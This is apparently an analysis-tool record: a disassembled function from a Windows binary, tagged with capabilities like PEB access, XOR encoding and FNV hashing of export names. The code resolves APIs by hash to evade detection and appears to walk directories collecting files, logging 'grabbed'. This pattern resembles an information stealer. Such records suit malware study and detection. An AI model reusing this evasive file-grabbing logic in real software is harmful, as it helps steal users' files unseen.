Function at 0x432981
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb84
mov eax, dword [0x4e2040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x250
xor ebx, ebx
lea eax, [ebp - 0x280]
mov edi, edx
mov esi, ecx
push ebx
push eax
mov dword [ebp - 0xb20], edi
mov dword [ebp - 0xafc], esi
call fcn.004b21c0
add esp, 0xc
lea ecx, [ebp - 0xb50]
push 0x4d15c8
push esi
call fcn.0040c1e2
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0040c732
pop ecx
lea ecx, [ebp - 0xb50]
call fcn.0040c4e8
mov ecx, dword [0x4e7a6c]
test ecx, ecx
jne 0x432acf
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xaf4], ecx
cmp ecx, esi
je 0x432a99
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x432a99
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, esi
sub ecx, 4
mov edx, 0xa89165c6
dec ebx
mov dword [ebp - 0xaf8], edx
mov dword [ebp - 0xb04], ecx
mov edi, dword [ecx]
add edi, esi
mov dl, byte [edi]
inc edi
test dl, dl
je 0x432a95
mov esi, dword [ebp - 0xaf8]
movsx ecx, dl
xor ecx, esi
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
mov dl, byte [edi]
imul esi, ecx, 0x1000193
inc edi
test dl, dl
jne 0x432a4e
mov dword [ebp - 0xaf8], esi
cmp dword [ebp - 0xaf8], 0xdf5e3c21
mov esi, dword [eax + 0x18]
je 0x432aa0
mov ecx, dword [ebp - 0xb04]
test ebx, ebx
jne 0x432a28
mov eax, dword [eax]
jmp 0x4329ff
mov edx, dword [ebp - 0xaf4]
mov edi, dword [ebp - 0xb20]
mov eax, dword [edx + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [eax + esi]
add ecx, esi
mov esi, dword [ebp - 0xafc]
mov dword [0x4e7a6c], ecx
xor ebx, ebx
cmp dword [ebp - 0x1c], 7
lea edx, [ebp - 0x280]
lea eax, [ebp - 0x30]
cmova eax, dword [ebp - 0x30]
push edx
push eax
call ecx
mov dword [ebp - 0xb04], eax
cmp eax, 0xffffffff
je 0x433535
mov al, byte [0x4e5cfd]
inc al
mov byte [0x4e5cfd], al
cmp al, 3
jg 0x43352b
push 0x2e
pop eax
cmp dword [0x4e6094], 0x6400000
ja 0x433444
cmp word [ebp - 0x254], ax
jne 0x432b3e
cmp word [ebp - 0x252], ax
je 0x433344
cmp word [ebp - 0x252], 0
je 0x433344
test byte [ebp - 0x280], 0x10
je 0x432bab
push 0x4d15c4
push esi
lea ecx, [ebp - 0xb38]
call fcn.0040c1e2
mov edx, eax
lea ecx, [ebp - 0xb50]
call fcn.0040c732
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040c144
lea ecx, [ebp - 0xb50]
call fcn.0040c4e8
lea ecx, [ebp - 0xb38]
call fcn.0040c4e8
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040c0fc
cmp dword [ebp - 0x1c], 7
lea ecx, [ebp - 0x30]
mov edx, edi
cmova ecx, dword [ebp - 0x30]
call fcn.00432981
jmp 0x433344
mov ebx, dword [edi]
lea esi, [edi + 4]
mov dword [ebp - 0xaf8], ebx
lea eax, [ebx + 1]
lea eax, [edi + eax*4]
jmp 0x43323c
mov eax, dword [esi]
mov edi, dword [0x4e7e90]
add eax, esi
mov dword [ebp - 0xaf0], eax
test edi, edi
jne 0x432cdd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0xaec], ecx
cmp ecx, edi
je 0x432ca2
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x432ca2
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
sub ecx, 4
mov dword [ebp - 0xb00], 0xc0477027
mov dword [ebp - 0xb0c], ecx
dec edx
mov dword [ebp - 0xae8], edx
mov ecx, dword [ecx]
add ecx, edi
mov bl, byte [ecx]
inc ecx
mov dword [ebp - 0xaf4], ecx
mov cl, bl
mov byte [ebp - 0xae1], bl
mov ebx, dword [ebp - 0xaf8]
test cl, cl
je 0x432c94
mov edi, dword [ebp - 0xaf4]
mov edx, dword [ebp - 0xb00]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x432c57
mov edi, dword [eax + 0x18]
cmp edx, 0x158b46fc
je 0x432ca9
mov edx, dword [ebp - 0xae8]
mov ecx, dword [ebp - 0xb0c]
test edx, edx
jne 0x432c12
mov eax, dword [eax]
jmp 0x432be5
mov edx, dword [ebp - 0xaec]
mov ecx, dword [ebp - 0xae8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
mov dword [ebp - 0xaec], eax
mov edi, eax
mov dword [0x4e7e90], eax
mov eax, dword [ebp - 0xaf0]
push dword [eax]
add eax, 4
lea ecx, [ebp - 0xb38]
push eax
call fcn.0040c352
mov edx, eax
lea ecx, [ebp - 0xb50]
call fcn.00410986
cmp dword [eax + 0x14], 7
jbe 0x432d03
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x254]
push eax
call edi
lea ecx, [ebp - 0xb50]
mov edi, eax
call fcn.0040c4e8
lea ecx, [ebp - 0xb38]
call fcn.0040bd96
test edi, edi
je 0x43322d
push 0x4d15c4
push dword [ebp - 0xafc]
lea ecx, [ebp - 0xb38]
call fcn.0040c1e2
mov edx, eax
lea ecx, [ebp - 0xb50]
call fcn.0040c732
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040c144
lea ecx, [ebp - 0xb50]
call fcn.0040c4e8
lea ecx, [ebp - 0xb38]
call fcn.0040c4e8
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040c0fc
xor eax, eax
lea edi, [ebp - 0x18]
cmp dword [ebp - 0x1c], 7
lea ecx, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x30]
cmova eax, dword [ebp - 0x30]
xor edi, edi
push edi
push eax
call fcn.00416912
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xae8], eax
cmp eax, 0x3200000
ja 0x433249
add dword [0x4e6094], eax
cmp byte [0x4e5d2a], 0
jne 0x432df3
push 0xffffffffffffffff
push dword [0x4e5ce8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, str.grabbed
call fcn.00414d6b
push dword [0x4e5ce8]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp - 0xae8]
mov byte [0x4e5d2a], 1
mov ecx, eax
call fcn.00417738
mov dword [ebp - 0xb00], eax
test eax, eax
je 0x432fdb
push dword [ebp - 0xae8]
lea ecx, [ebp - 0x18]
push eax
call fcn.00416d4b
push 0xffffffffffffffff
push dword [0x4e5ce8]
mov dword [ebp - 0xaec], edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0xb50]
call fcn.0040c1e2
lea edx, [ebp - 0xb50]
lea ecx, [ebp - 0xb80]
call fcn.0043605d
mov dword [ebp - 0xaf0], eax
mov eax, dword fs:[0x2c]
mov dword [ebp - 0xb1c], 0xf8ed13c
mov dword [ebp - 0xb18], 0xab5f68ef
mov byte [ebp - 0xb14], 0x5b
mov edx, dword [eax]
mov dword [ebp - 0xaf4], edx
mov eax, dword [edx + 0x5e58]
test al, 1
jne 0x432ee5
xorps xmm0, xmm0
mov byte [edx + 0x534d], 1
or eax, 1
movlpd qword [ebp - 0xb10], xmm0
mov edi, dword [ebp - 0xb0c]
xor ebx, ebx
mov ecx, dword [ebp - 0xb10]
mov dword [edx + 0x5e58], eax
mov al, byte [ebp + ecx - 0xb1c]
mov byte [ecx + edx + 0x5344], al
add ecx, 1
adc edi, ebx
cmp edi, ebx
ja 0x432ecc
cmp ecx, 9
jb 0x432eb0
push 0x4c2265
call fcn.004b0dd6
mov ebx, dword [ebp - 0xaf8]
xor edi, edi
mov edx, dword [ebp - 0xaf4]
pop ecx
lea eax, [edx + 0x5344]
cmp byte [eax + 9], 0
je 0x432f18
push 0xf73b0d8d
push 0x6defa35b
push edi
push 9
mov ecx, eax
call fcn.00407ee8
mov ecx, dword [ebp - 0xaf4]
add esp, 0x10
lea eax, [ecx + 0x5344]
mov byte [eax + 9], 0
push eax
lea ecx, [ebp - 0xb68]
call fcn.0040c319
push dword [ebp - 0xaf0]
lea ecx, [ebp - 0xb38]
push eax
push dword [ebp - 0xaf0]
call fcn.0043aa94
cmp dword [ebp - 0xb24], 0xf
lea edx, [ebp - 0xb38]
push 0xa
cmova edx, dword [ebp - 0xb38]
lea ecx, [ebp - 0xae0]
call fcn.00413f1b
pop ecx
lea ecx, [ebp - 0xb38]
mov edi, eax
call fcn.0040bd96
lea ecx, [ebp - 0xb68]
call fcn.0040bd96
lea ecx, [ebp - 0xb80]
call fcn.0040bd96
lea ecx, [ebp - 0xb50]
call fcn.0040c4e8
test edi, edi
mov edi, dword [ebp - 0xb00]
jne 0x432fc1
lea eax, [ebp - 0xaec]
mov edx, edi
push eax
push dword [ebp - 0xae8]
lea ecx, [ebp - 0xae0]
call fcn.0041458d
pop ecx
pop ecx
test eax, eax
jne 0x432fc1
lea ecx, [ebp - 0xae0]
call fcn.004149ec
push dword [0x4e5ce8]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, edi
call fcn.00416e90
and dword [ebp - 0xb00], 0
mov edi, dword [ebp - 0x14]
test edi, edi
je 0x433101
mov eax, dword [0x4e5c5c]
test eax, eax
jne 0x4330ec
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0xae8], ecx
cmp ecx, edi
je 0x4330bc
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x4330bc
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
sub ecx, 4
mov dword [ebp - 0xaec], 0xac2cb299
mov dword [ebp - 0xb0c], ecx
dec edx
mov dword [ebp - 0xaf4], edx
mov ecx, dword [ecx]
add ecx, edi
mov bl, byte [ecx]
inc ecx
mov dword [ebp - 0xaf0], ecx
mov cl, bl
mov byte [ebp - 0xae1], bl
mov ebx, dword [ebp - 0xaf8]
test cl, cl
je 0x4330ae
mov edi, dword [ebp - 0xaf0]
mov edx, dword [ebp - 0xaec]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x433071
mov edi, dword [eax + 0x18]
cmp edx, 0xc312cdc0
je 0x4330c3
mov edx, dword [ebp - 0xaf4]
mov ecx, dword [ebp - 0xb0c]
test edx, edx
jne 0x43302c
mov eax, dword [eax]
jmp 0x432fff
mov edx, dword [ebp - 0xae8]
mov ecx, dword [ebp - 0xaf4]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
mov edi, dword [ebp - 0x14]
mov dword [0x4e5c5c], eax
push edi
call eax
xor eax, eax
xorps xmm0, xmm0
mov edi, eax
mov byte [ebp - 0x18], al
mov dword [ebp - 0x14], edi
movlpd qword [ebp - 0x10], xmm0
mov ecx, dword [ebp - 0xb00]
call fcn.00416e90
test edi, edi
je 0x43322d
mov eax, dword [0x4e5c5c]
test eax, eax
jne 0x43321a
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0xae8], ecx
cmp ecx, edi
je 0x4331ea
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x4331ea
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
sub ecx, 4
mov dword [ebp - 0xaec], 0xac2cb299
mov dword [ebp - 0xb0c], ecx
dec edx
mov dword [ebp - 0xaf4], edx
mov ecx, dword [ecx]
add ecx, edi
mov bl, byte [ecx]
inc ecx
mov dword [ebp - 0xaf0], ecx
mov cl, bl
mov byte [ebp - 0xae1], bl
mov ebx, dword [ebp - 0xaf8]
test cl, cl
je 0x4331dc
mov edi, dword [ebp - 0xaf0]
mov edx, dword [ebp - 0xaec]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x43319f
mov edi, dword [eax + 0x18]
cmp edx, 0xc312cdc0
je 0x4331f1
mov edx, dword [ebp - 0xaf4]
mov ecx, dword [ebp - 0xb0c]
test edx, edx
jne 0x43315a
mov eax, dword [eax]
jmp 0x43312d
mov edx, dword [ebp - 0xae8]
mov ecx, dword [ebp - 0xaf4]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
mov edi, dword [ebp - 0x14]
mov dword [0x4e5c5c], eax
push edi
call eax
xor eax, eax
xorps xmm0, xmm0
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x18], al
movlpd qword [ebp - 0x10], xmm0
mov eax, dword [ebp - 0xb20]
add esi, 4
add eax, 4
lea eax, [eax + ebx*4]
cmp esi, eax
jne 0x432bc1
jmp 0x433344
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x433344
mov eax, dword [0x4e5c5c]
test eax, eax
jne 0x433331
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xaec], ecx
cmp ecx, esi
je 0x433307
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x433307
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, esi
sub ecx, 4
mov edx, 0xac2cb299
dec ebx
mov dword [ebp - 0xae8], edx
mov dword [ebp - 0xaf0], ecx
mov edi, dword [ecx]
add edi, esi
mov dl, byte [edi]
inc edi
test dl, dl
je 0x433303
mov esi, dword [ebp - 0xae8]
movsx ecx, dl
xor ecx, esi
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
mov dl, byte [edi]
imul esi, ecx, 0x1000193
inc edi
test dl, dl
jne 0x4332bc
mov dword [ebp - 0xae8], esi
cmp dword [ebp - 0xae8], 0xc312cdc0
mov esi, dword [eax + 0x18]
je 0x43330e
mov ecx, dword [ebp - 0xaf0]
test ebx, ebx
jne 0x433296
mov eax, dword [eax]
jmp 0x43326d
mov edx, dword [ebp - 0xaec]
mov eax, dword [edx + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [ebp - 0x14]
mov eax, dword [eax + esi]
add eax, esi
mov dword [0x4e5c5c], eax
push ecx
call eax
xor eax, eax
xorps xmm0, xmm0
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x18], al
movlpd qword [ebp - 0x10], xmm0
mov eax, dword [0x4e7a48]
test eax, eax
jne 0x43341e
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xaec], ecx
cmp ecx, esi
je 0x4333f7
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x4333f7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, esi
sub ecx, 4
mov edx, 0x9b5da54b
dec ebx
mov dword [ebp - 0xae8], edx
mov dword [ebp - 0xaf0], ecx
mov edi, dword [ecx]
add edi, esi
mov dl, byte [edi]
inc edi
test dl, dl
je 0x4333f3
mov esi, dword [ebp - 0xae8]
movsx ecx, dl
xor ecx, esi
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
mov dl, byte [edi]
imul esi, ecx, 0x1000193
inc edi
test dl, dl
jne 0x4333ac
mov dword [ebp - 0xae8], esi
cmp dword [ebp - 0xae8], 0x3c3b139
mov esi, dword [eax + 0x18]
je 0x4333fe
mov ecx, dword [ebp - 0xaf0]
test ebx, ebx
jne 0x433386
mov eax, dword [eax]
jmp 0x43335d
mov edx, dword [ebp - 0xaec]
mov eax, dword [edx + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
mov dword [0x4e7a48], eax
lea ecx, [ebp - 0x280]
push ecx
push dword [ebp - 0xb04]
call eax
mov edi, dword [ebp - 0xb20]
test eax, eax
mov esi, dword [ebp - 0xafc]
push 0x2e
pop eax
jne 0x432b0a
mov eax, dword [0x4e6dac]
test eax, eax
jne 0x43351e
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xaec], ecx
cmp ecx, esi
je 0x4334f7
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x4334f7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, esi
sub ecx, 4
mov edx, 0xc77cab74
dec ebx
mov dword [ebp - 0xafc], edx
mov dword [ebp - 0xaf0], ecx
mov edi, dword [ecx]
add edi, esi
mov dl, byte [edi]
inc edi
test dl, dl
je 0x4334f3
mov esi, dword [ebp - 0xafc]
movsx ecx, dl
xor ecx, esi
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
mov dl, byte [edi]
imul esi, ecx, 0x1000193
inc edi
test dl, dl
jne 0x4334ac
mov dword [ebp - 0xafc], esi
cmp dword [ebp - 0xafc], 0x4da1f8c3
mov esi, dword [eax + 0x18]
je 0x4334fe
mov ecx, dword [ebp - 0xaf0]
test ebx, ebx
jne 0x433486
mov eax, dword [eax]
jmp 0x43345d
mov edx, dword [ebp - 0xaec]
mov eax, dword [edx + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
mov dword [0x4e6dac], eax
push dword [ebp - 0xb04]
call eax
mov al, byte [0x4e5cfd]
dec al
xor ebx, ebx
mov byte [0x4e5cfd], al
inc ebx
lea ecx, [ebp - 0x30]
call fcn.0040c4e8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004b0ce6
leave
ret